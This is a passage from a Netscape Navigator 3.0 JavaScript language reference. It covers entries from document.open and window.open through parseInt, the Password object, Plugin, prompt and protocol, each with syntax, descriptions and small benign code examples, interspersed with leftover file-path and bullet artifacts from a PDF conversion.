mimeType is an optional argument that specifies the type of document to which you are writing. If you do not specify a mimeType, text/html is the default.
q q

q q q q

text/html specifies a document containing ASCII text with HTML formatting. text/plain specifies a document containing plain ASCII text with end-of-line characters to delimit displayed lines. image/gif specifies a document with encoded bytes constituting a GIF header and pixel data. image/jpeg specifies a document with encoded bytes constituting a JPEG header and pixel data. image/x-bitmap specifies a document with encoded bytes constituting a bitmap header and pixel data. plugIn loads the specified plug-in and uses it as the destination for write and writeln methods. For example, "xworld/vrml" loads the VR Scout VRML plug-in from Chaco Communications, and "application/x-director" loads the Macromedia Shockwave plug-in. Plug-in MIME types are only valid if the user has installed the required plugin software.

windowReference is a valid way of referring to a window, as described in the window object. "replace" causes the new document to reuse the history entry that the previous document used. When you specify "replace" while opening a document, the target window's history length is not incremented even after you write and close.

Method of
document

Implemented in
q q

Navigator 2.0 Navigator 3.0: added "replace" parameter; document.open() or document.open("text/html") clears the current document if it has finished loading

Description
The open method opens a stream to collect the output of write or writeln methods. If the mimeType is text or image, the stream is opened to layout; otherwise, the stream is opened to a plug-in. If a document exists in the target window, the open method clears it. End the stream by using the document.close() method. The close method causes text or images that were sent to layout to display. After using document.close(), issue document.open() again when you want to begin another output stream. In Navigator 3.0, document.open() or document.open("text/html") clears the current document if it has finished loading. This is because this type of open call writes a default <BASE HREF=> tag so you can generate relative URLs based on the generating script's document base. Using "replace" The "replace" keyword causes the new document to reuse the history entry that the previous document used. When you
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (36 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

specify "replace" while opening a document, the target window's history length is not incremented even after you write and close. "replace" is typically used on a window that has a blank document or an "about:blank" URL. After "replace" is specified, the write method typically generates HTML for the window, replacing the history entry for the blank URL. Take care when using generated HTML on a window with a blank URL. If you do not specify "replace", the generated HTML has its own history entry, and the user can press the Back button and back up until the frame is empty. After document.open("text/html","replace") executes, history.current for the target window is the URL of document that executed document.open.

Examples
Example 1. The following function calls document.open to open a stream before issuing a write method: function windowWriter1() { var myString = "Hello, world!" msgWindow.document.open() msgWindow.document.write("<P>" + myString) msgWindow.document.close() } Example 2. The following function calls document.open with the "replace" keyword to open a stream before issuing write methods. The HTML code in the write methods is written to msgWindow, replacing the current history entry. The history length of msgWindow is not incremented. function windowWriter2() { var myString = "Hello, world!" msgWindow.document.open("text/html","replace") msgWindow.document.write("<P>" + myString) msgWindow.document.write("<P>history.length is " + msgWindow.history.length) msgWindow.document.close() } The following code creates the msgWindow window and calls the function: msgWindow=window.open('','', 'toolbar=yes,scrollbars=yes,width=400,height=300') windowWriter2() Example 3. In the following example, the probePlugIn function determines whether a user has the Shockwave plug-in installed: function probePlugIn(mimeType) { var havePlugIn = false var tiny = window.open("", "teensy", "width=1,height=1") if (tiny != null) {
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (37 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

if (tiny.document.open(mimeType) != null) havePlugIn = true tiny.close() } return havePlugIn } var haveShockwavePlugIn = probePlugIn("application/x-director")

See also
close (document object), reload, replace, write, writeln methods

open (window object)


Method. Opens a new web browser window.

Syntax
[windowVar = ][window].open("URL", "windowName", ["windowFeatures"])

Parameters
windowVar is the name of a new window. Use this variable when referring to a window's properties, methods, and containership. URL specifies the URL to open in the new window. See the location object for a description of the URL components. windowName is the window name to use in the TARGET attribute of a FORM or <A> tag. windowName can contain only alphanumeric or underscore (_) characters. windowFeatures is a comma-separated list of any of the following options and values: toolbar[=yes|no]|[=1|0] location[=yes|no]|[=1|0] directories[=yes|no]|[=1|0] status[=yes|no]|[=1|0] menubar[=yes|no]|[=1|0] scrollbars[=yes|no]|[=1|0] resizable[=yes|no]|[=1|0] width=pixels height=pixels You may use any subset of these options. Separate options with a comma. Do not put spaces between the options. The windowFeatures are:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (38 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

q q q q q q

q q q

toolbar creates the standard Navigator toolbar, with buttons such as Back and Forward, if true. location creates a Location entry field, if true. directories creates the standard Navigator directory buttons, such as What's New and What's Cool, if true. status creates the status bar at the bottom of the window, if true. menubar creates the menu at the top of the window, if true. scrollbars creates horizontal and vertical scrollbars when the document grows larger than the window dimensions, if true. resizable allows a user to resize the window, if true. width specifies the width of the window in pixels. height specifies the height of the window in pixels.

Method of
window object

Implemented in
Navigator 2.0

Description
The open method opens a new Web browser window on the client, similar to choosing New Web Browser from the File menu of the Navigator. The URL argument specifies the URL contained by the new window. If URL is an empty string, a new, empty window is created. In event handlers, you must specify window.open() instead of simply using open(). Due to the scoping of static objects in JavaScript, a call to open() without specifying an object name is equivalent to document.open(). windowFeatures is an optional, comma-separated list of options for the new window. The Boolean windowFeatures options are set to true if they are specified without values, or as yes or 1. For example, open("", "messageWindow", "toolbar") and open("", "messageWindow", "toolbar=1") both set the toolbar option to true. If windowName does not specify an existing window and you do not specify windowFeatures, all Boolean windowFeatures are true by default. If you specify any item in windowFeatures, all other Boolean windowFeatures are false unless you explicitly specify them. After a window is open, you cannot use JavaScript to change the windowFeatures. You can use open on an existing window, and if you pass the empty string for the URL, you will get a reference to the existing window, but not load anything into it. You can, for example, then look for properties in the window.

Examples
In the following example, the windowOpener function opens a window and uses write methods to display a message: function windowOpener() { msgWindow=window.open("","displayWindow","menubar=yes") msgWindow.document.write
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (39 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

("<HEAD><TITLE>Message window</TITLE></HEAD>") msgWindow.document.write ("<CENTER><BIG><B>Hello, world!</B></BIG></CENTER>") } The following is an onClick event handler that opens a new client window displaying the content specified in the file sesame.html. The window opens with the specified option settings; all other options are false because they are not specified. <FORM NAME="myform"> <INPUT TYPE="button" NAME="Button1" VALUE="Open Sesame!" onClick="window.open ('sesame.html', 'newWin', 'scrollbars=yes,status=yes,width=300,height=300')"> </FORM> Notice the use of single quotes (') inside the onClick event handler.

See also
close (window object) method

opener
Property. Specifies the window of the calling document when a window is opened using the open method.

Syntax
window.opener

Property of
window object

Implemented in
Navigator 3.0

Tainted?
No

Description
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (40 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

When a source document opens a destination window by calling the open method, the opener property specifies the window of the source document. Evaluate the opener property from the destination window. This property persists across document unload in the opened window. You can change the opener property at any time.

Examples
Example 1: Close the opener. The following code closes the window that opened the current window. When the opener window closes, opener is unchanged. However, window.opener.name then evaluates to undefined. window.opener.close() Example 2: Evaluate the name of the opener. A window can determine the name of its opener as follows: document.write("<BR>opener property is " + window.opener.name) Example 3: Change the value of opener. The following code changes the value of the opener property to null. After this code executes, you cannot close the opener window as shown in Example 1. window.opener=null Example 4: Change a property of the opener. The following code changes the background color of the window specified by the opener property. window.opener.document.bgColor='bisque'

See also
close (window object), open (window object) methods

Option
Object. A Select object option created using the Option() constructor. For information, see the Select object.

options
Property. An array corresponding to options in a Select object (OPTION tags) in source order. See the Select object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (41 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

parent
Property. The parent property is a synonym for a window or frame whose frameset contains the current frame.

Syntax
1. 2. 3. 4. parent.propertyName parent.methodName parent.frameName parent.frames[index]

Parameters
propertyName is the defaultStatus, status, length, name, or parent property when the calling parent refers to a window object. propertyName is the length, name, or parent property when the calling parent refers to a Frame object. methodName is any method associated with the window object. frameName and frames[index] are ways to refer to frames.

Property of
Frame object, window object

Implemented in
Navigator 2.0

Tainted?
No

Description
The parent property refers to the FRAMESET window of a frame. Child frames within a frameset refer to sibling frames by using "parent" in place of the window name as follows: parent.frameName or parent.frames[index]. For example, if the fourth frame in a set has NAME="homeFrame," sibling frames can refer to that frame using parent.homeFrame or parent.frames[3]. You can use parent.parent to refer to the "grandparent" frame or window when a <FRAMESET> tag is nested
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (42 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

within a child frame. The parent property is read-only. The value of the parent property is <object nameAttribute> where nameAttribute is the NAME attribute if the parent is a frame, or an internal reference if the parent is a window.

Examples
See the examples for the Frame object.

parse
Method. Returns the number of milliseconds in a date string since January 1, 1970, 00:00:00, local time.

Syntax
Date.parse(dateString)

Parameters
dateString is a string representing a date or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The parse method takes a date string (such as "Dec 25, 1995") and returns the number of milliseconds since January 1, 1970, 00:00:00 (local time). This function is useful for setting date values based on string values, for example in conjunction with the setTime method and the Date object. Given a string representing a time, parse returns the time value. It accepts the IETF standard date syntax: "Mon, 25 Dec 1995 13:30:00 GMT." It understands the continental US time-zone abbreviations, but for general use, use a time-zone offset, for example, "Mon, 25 Dec 1995 13:30:00 GMT+0430" (4 hours, 30 minutes west of the Greenwich meridian). If you do not specify a time zone, the local time zone is assumed. GMT and UTC are considered equivalent.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (43 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Because the parse function is a static method of Date, you always use it as Date.parse(), rather than as a method of a Date object you created.

Examples
If IPOdate is an existing Date object, then IPOdate.setTime(Date.parse("Aug 9, 1995"))

See also
UTC method

parseFloat
Function. Parses a string argument and returns a floating point number.

Syntax
parseFloat(string)

Parameters
string is a string that represents the value you want to parse.

Implemented in
q q

Navigator 2.0 Navigator 3.0: returns "NaN" on all platforms if the first character of the string specified in parseFloat(string) cannot be converted to a number. In previous releases, it returned "NaN" on Solaris and Irix and zero on all other platforms.

Description
The parseFloat function is a built-in JavaScript function. It is not a method associated with any object, but is part of the language itself. parseFloat parses its argument, a string, and returns a floating point number. If it encounters a character other than a sign ( + or -), numeral (0-9), a decimal point, or an exponent, then it returns the value up to that point and ignores that character and all succeeding characters. If the first character cannot be converted to a number, parseFloat returns "NaN".
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (44 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

For arithmetic purposes, the "NaN" value is not a number in any radix. You can call the isNaN function to determine if the result of parseFloat is "NaN." If "NaN" is passed on to arithmetic operations, the operation results will also be "NaN."

Examples
The following examples all return 3.14: parseFloat("3.14") parseFloat("314e-2") parseFloat("0.0314E+2") var x = "3.14" parseFloat(x) The following example returns "NaN": parseFloat("FF2")

See also
isNaN, parseInt functions

parseInt
Function. Parses a string argument and returns an integer of the specified radix or base.

Syntax
parseInt(string [,radix])

Parameters
string is a string that represents the value you want to parse. radix is an integer that represents the radix of the return value.

Implemented in
q q

Navigator 2.0 Navigator 3.0: returns "NaN" on all platforms if the first character of the string specified in parseInt(string) cannot be converted to a number. In previous releases, it returned "NaN" on Solaris and Irix and zero on all other platforms.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (45 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Description
The parseInt function is a built-in JavaScript function. It is not a method associated with any object, but is part of the language itself. The parseInt function parses its first argument, a string, and attempts to return an integer of the specified radix (base). For example, a radix of 10 indicates to convert to a decimal number, 8 octal, 16 hexadecimal, and so on. For radixes above 10, the letters of the alphabet indicate numerals greater than 9. For example, for hexadecimal numbers (base 16), A through F are used. If parseInt encounters a character that is not a numeral in the specified radix, it ignores it and all succeeding characters and returns the integer value parsed up to that point. parseInt truncates numbers to integer values. If the radix is not specified or is specified as zero, JavaScript assumes the following:
q q q

If the input string begins with "0x," the radix is 16 (hexadecimal). If the input string begins with "0," the radix is eight (octal). If the input string begins with any other value, the radix is 10 (decimal).

If the first character cannot be converted to a number, parseInt returns "NaN". For arithmetic purposes, the "NaN" value is not a number in any radix. You can call the isNaN function to determine if the result of parseInt is "NaN." If "NaN" is passed on to arithmetic operations, the operation results will also be "NaN."

Examples
The following examples all return 15: parseInt("F", 16) parseInt("17", 8) parseInt("15", 10) parseInt(15.99, 10) parseInt("FXX123", 16) parseInt("1111", 2) parseInt("15*3", 10) The following examples all return "NaN": parseInt("Hello", 8) parseInt("0x7", 10) parseInt("FFF", 10) Even though the radix is specified differently, the following examples all return 17 because the input string begins with "0x." parseInt("0x11", 16)
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (46 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

parseInt("0x11", 0) parseInt("0x11")

See also
isNaN, parseFloat functions; valueOf method

Password
Object. A text field on an HTML form that conceals its value by displaying asterisks (*). When the user enters text into the field, asterisks (*) hide entries from view.

HTML syntax
To define a Password object, use standard HTML syntax: <INPUT TYPE="password" NAME="passwordName" [VALUE="textValue"] SIZE=integer [onBlur="handlerText"] [onFocus="handlerText"]>

HTML attributes
NAME="passwordName" specifies the name of the Password object. You can access this value using the name property, and you can use this name when indexing the elements array. VALUE="textValue" specifies the initial value of the Password object. You can access this value using the defaultValue property. SIZE=integer specifies the number of characters the Password object can accommodate without scrolling.

Syntax
To use a Password object's properties and methods: 1. 2. 3. 4. passwordName.propertyName passwordName.methodName(parameters) formName.elements[index].propertyName formName.elements[index].methodName(parameters)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (47 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Parameters
passwordName is the value of the NAME attribute of a Password object. formName is either the value of the NAME attribute of a Form object or an element in the forms array. index is an integer representing a Password object on a form or the name of a Password object as specified by the NAME attribute. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
Form object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property; added onBlur and onFocus event handlers

Description
A Password object on a form looks as follows: Enter your password: A Password object is a form element and must be defined within a <FORM> tag. If a user interactively modifies the value in a password field, you cannot evaluate it accurately unless data tainting is enabled. See "Using data tainting for security" and the value property.

Properties
The Password object has the following properties:

Property

Description

defaultValue Reflects the VALUE attribute form property Specifies the form containing the Password object name type Reflects the NAME attribute Reflects the TYPE attribute

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (48 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

value

Reflects the current value of the Password object's field

Methods
The Password object has the following methods:

q q q

blur eval focus

q q q

select method toString valueOf

Event handlers
q q

onBlur onFocus

Examples
The following example creates a Password object with no default value: <B>Password:</B> <INPUT TYPE="password" NAME="password" VALUE="" SIZE=25>

See also
Form object, Text object

pathname
Property. A string specifying the url-path portion of the URL.

Syntax
1. links[index].pathname 2. location.pathname 3. areaName.pathname

Parameters
index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (49 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Property of
Area object (see Link object), Link object, location object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
Yes

Description
The pathname property specifies a portion of the URL. The pathname supplies the details of how the specified resource can be accessed. You can set the pathname property at any time, although it is safer to set the href property to change a location. If the pathname that you specify cannot be found in the current location, you will get an error. In event handlers, you must specify window.location.pathname instead of simply using location.pathname. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL. See Section 3.1 of RFC 1738 for complete information about the pathname.

Examples
See the examples for the href property.

See also
hash, host, hostname, href, port, protocol, search properties

PI
Property. The ratio of the circumference of a circle to its diameter, approximately 3.14159.

Syntax

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (50 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Math.PI

Property of
Math

Implemented in
Navigator 2.0

Tainted?
No

Description
Because PI is a constant, it is a read-only property of Math.

Examples
The following function returns the value of pi: function getPi() { return Math.PI }

See also
E, LN2, LN10, LOG2E, LOG10E, SQRT1_2, SQRT2 properties

Plugin
Object. A plug-in module installed on the client.

Syntax
To use a Plugin object: 1. navigator.plugins[index].propertyName 2. navigator.plugins[pluginIndex][mimeTypeIndex].mimeTypePropertyName

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (51 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Parameters
index is an integer representing a plug-in installed on the client or a string containing the type of a Plugin object (from the type property). mimeTypeIndex is either an integer representing a MIME type supported by the plug-in or a string containing the type of a MimeType object (from the type property). propertyName is one of the properties listed below. mimeTypePropertyName is a property of a MimeType object. See MimeType for a list of properties.

Property of
The plugins array is a property of navigator. The Plugin object is a member of the plugins array.

Implemented in
Navigator 3.0

Description
A Plugin object is a plug-in installed on the client. A plug-in is a software module that Navigator can invoke to display specialized types of embedded data within the browser. The user can obtain a list of installed plug-ins by choosing About Plug-ins from the Help menu. Each Plugin object is an array containing one element for each MIME type supported by the plug-in. Each element of the array is a MimeType object. You can access the MimeType objects using form 2 of the syntax. For example, the following code displays the type and description properties of the first Plugin object's first MimeType object. myPlugin=navigator.plugins[0] myMimeType=myPlugin[0] document.writeln('myMimeType.type is ',myMimeType.type,"<BR>") document.writeln('myMimeType.description is ',myMimeType.description) The preceding code displays output similar to the following: myMimeType.type is video/quicktime myMimeType.description is QuickTime for Windows The Plugin object lets you dynamically determine which plug-ins are installed on the client. You can write scripts to display embedded plug-in data if the appropriate plug-in is installed, or display some alternative information such as images or text if not.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (52 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Plug-ins can be platform dependent and configurable, so a Plugin object's array of MimeType objects can vary from platform to platform, and from user to user. Each Plugin object is an element in the plugins array. When you use the <EMBED> tag to generate output from a plug-in application, you are not creating a Plugin object. Use the embeds array to reference plug-in instances created with <EMBED> tags. See the embeds array. The plugins array You can reference the Plugin objects installed on the client by using the plugins array. This array contains an entry for each plug-in installed on the client in source order. Each element of the plugins array is a Plugin object. For example, if three plug-ins are installed on the client, these plug-ins are reflected as navigator.plugins[0], navigator.plugins[1], and navigator.plugins[2]. To use the plugins array: 1. navigator.plugins[index] 2. navigator.plugins.length index is an integer representing a plug-in installed on the client or a string containing the name of a Plugin object (from the name property). To obtain the number of plug-ins installed on the client, use the length property: navigator.plugins.length. Elements in the plugins array are read-only. For example, the statement navigator.plugins[0]="LiveAudio" has no effect.

Properties
The Plugin object has the following properties:

Property filename length name

Description The name of the plug-in file on disk The number of elements in the plug-in's array of MimeType objects The name of the plug-in

description A description supplied by the plug-in itself

The plugins array has the following properties:

Property Description length Reflects the number of plug-ins installed on the client

Methods
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (53 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

The Plugin object has the following methods:


q q q

eval toString valueOf

The plugins array has the following methods:


q

refresh

Event handlers
None.

Examples
Example 1. The user can obtain a list of installed plug-ins by choosing About Plug-ins from the Help menu. To see the code Navigator uses for this report, choose About Plug-ins from the Help menu, then choose Document Source from the View menu. Example 2. The following code assigns shorthand variables for the predefined LiveAudio properties. var myPluginName = navigator.plugins["LiveAudio"].name var myPluginFile = navigator.plugins["LiveAudio"].filename var myPluginDesc = navigator.plugins["LiveAudio"].description Example 3. The following code displays the message "LiveAudio is configured for audio/wav" if the LiveAudio plug-in is installed and is enabled for the "audio/wav" MIME type: var myPlugin = navigator.plugins["LiveAudio"] var myType = myPlugin["audio/wav"] if (myType && myType.enabledPlugin == myPlugin) document.writeln("LiveAudio is configured for audio/wav") Example 4. The following expression represents the number of MIME types that Shockwave can display: navigator.plugins["Shockwave"].length Example 5. The following code displays the name, filename, description, and length properties for each Plugin object on a client: document.writeln("<TABLE BORDER=1><TR VALIGN=TOP>", "<TH ALIGN=left>i", "<TH ALIGN=left>name", "<TH ALIGN=left>filename", "<TH ALIGN=left>description",
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (54 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

"<TH ALIGN=left># of types</TR>") for (i=0; i < navigator.plugins.length; i++) { document.writeln("<TR VALIGN=TOP><TD>",i, "<TD>",navigator.plugins[i].name, "<TD>",navigator.plugins[i].filename, "<TD>",navigator.plugins[i].description, "<TD>",navigator.plugins[i].length, "</TR>") } document.writeln("</TABLE>") The preceding example displays output similar to the following:

i name 0 QuickTime Plug-In 1 LiveAudio

filename

description

# of types 1

d:\nettools\netscape\nav30\Program\ QuickTime Plug-In for Win32 plugins\NPQTW32.DLL v.1.0.0

d:\nettools\netscape\nav30\Program\ LiveAudio - Netscape Navigator 7 plugins\NPAUDIO.DLL sound playing component 2 1

2 NPAVI32 Dynamic Link Library d:\nettools\netscape\nav30\Program\ NPAVI32, avi plugin DLL plugins\npavi32.dll 3 Netscape Default Plugin d:\nettools\netscape\nav30\Program\ Null Plugin plugins\npnul32.dll

See also
MimeType object; embeds array

plugins
Property. An array of all plug-ins currently installed on the client. See the Plugin object for information.

Tainted?
No

port
Property. A string specifying the communications port that the server uses for communications.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (55 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Syntax
1. links[index].port 2. location.port 3 areaName.port

Parameters
index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

Property of
Area object (see Link object), Link object, location object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
Yes

Description
The port property specifies a portion of the URL. The port property is a substring of the hostname property. The hostname property is the concatenation of the host and port properties, separated by a colon. When the port property is 80 (the default), the host property is the same as the hostname property. You can set the port property at any time, although it is safer to set the href property to change a location. If the port that you specify cannot be found in the current location, you will get an error. If the port property is not specified, it defaults to 80 on the server. In event handlers, you must specify window.location.port instead of simply using location.port. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL. See Section 3.1 of RFC 1738 for complete information about the port.

Examples
See the examples for the href property.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (56 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

See also
hash, host, hostname, href, pathname, protocol, search properties

POSITIVE_INFINITY
Property. A special numeric value representing infinity. This value is represented as "Infinity".

Syntax
Number.POSITIVE_INFINITY

Property of
Number

Implemented in
Navigator 3.0

Tainted?
No

Description
This value behaves mathematically like an infinity; for example, anything multiplied by infinity is infinity, and anything divided by infinity is zero. JavaScript does not have a literal for Infinity. Because POSITIVE_INFINITY is a constant, it is a read-only property of Number.

Examples
In the following example, the variable bigNumber is assigned a value that is larger than the maximum value. When the if statement executes, bigNumber has the value "Infinity", so the func1 function is called. var bigNumber = Number.MAX_VALUE * 10 if (bigNumber == Number.POSITIVE_INFINITY) func1() else
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (57 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

func2()

See also
MAX_VALUE, MIN_VALUE, NaN, NEGATIVE_INFINITY properties

pow
Method. Returns base to the exponent power, that is, baseexponent.

Syntax
Math.pow(base, exponent)

Parameters
base is any numeric expression or a property of an existing object. exponent is any numeric expression or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Examples
function raisePower(x,y) { return Math.pow(x,y) } If x equals seven and y equals two, raisePower returns 49 (seven to the power of two).

See also
exp, log methods

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (58 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

previous
Property. A string specifying the complete URL of the previous history entry.

Syntax
history.previous

Property of
history object

Implemented in
Navigator 3.0

Tainted?
Yes

Description
The previous property reflects the URL that would be used if the user chose Back from the Go menu. This property has a value only if data tainting is enabled; if data tainting is not enabled, previous has no value. previous is a read-only property.

Examples
The following example determines whether history.previous contains the string "NETSCAPE.COM". If it does, the function myFunction is called. if (history.previous.indexOf("NETSCAPE.COM") != -1) { myFunction(history.previous) }

See also
current, next properties; "Using data tainting for security"

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (59 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

prompt
Method. Displays a Prompt dialog box with a message and an input field.

Syntax
prompt(message, [inputDefault])

Parameters
message is any string or a property of an existing object; the string is displayed as the message. inputDefault is a string, integer, or property of an existing object that represents the default value of the input field.

Method of
window object

Implemented in
Navigator 2.0

Description
A prompt dialog box looks as follows:
Click for sample prompt dialog box

Use the prompt method to display a dialog box that receives user input. If you do not specify an initial value for inputDefault, the dialog box displays "<undefined>." Although prompt is a method of the window object, you do not need to specify a windowReference when you call it. For example, windowReference.prompt() is unnecessary. You cannot specify a title for a prompt dialog box, but you can use the open method to create your own "prompt" dialog. See open (window object).

Examples
prompt("Enter the number of cookies you want to order:", 12)

See also

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (60 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

alert, confirm methods

protocol
Property. A string specifying the beginning of the URL, up to and including the first colon.

Syntax
1. links[index].protocol 2. location.protocol 3 areaName.protocol

Parameters
index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

Property of
Area object (see Link object), Link object, location object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
Yes

Description
The protocol property specifies a portion of the URL. The protocol indicates the access method of the URL. For example, a protocol of "http:" specifies HyperText Transfer Protocol, and a protocol of "javascript:" specifies JavaScript code. You can set the protocol property at any time, although it is safer to set the href property to change a location. If the protocol that you specify cannot be found in the current location, you will get an error. In event handlers, you must specify window.location.protocol instead of simply using location.protocol. Due to the scoping of static objects in JavaScript, a call to location without specifying an
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (61 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

object name is equivalent to document.location, which is a synonym for document.URL. The protocol property represents the scheme name of the URL. See Section 2.1 of RFC 1738 for complete information about the protocol.

Examples
See the examples for the href property.

See also
hash, host, hostname, href, pathname, port, search properties

prototype
Property. Defines a property that is shared by all objects of the specified type.

Syntax
objectType.prototype.propertyName = value

Parameters
objectType is the name of a constructor or function specifying an object type. propertyName is the name of the property to be created. value is the property value initially assigned for all objects of the specified objectType.

Property of
prototype is a property of any object created with new, such as the following:

q q q q q

Array Boolean Date Function Image

q q q q

Number Select object option String User-defined objects (see "Creating new objects")

Implemented in

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (62 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

Navigator 3.0

Tainted?
No

Description
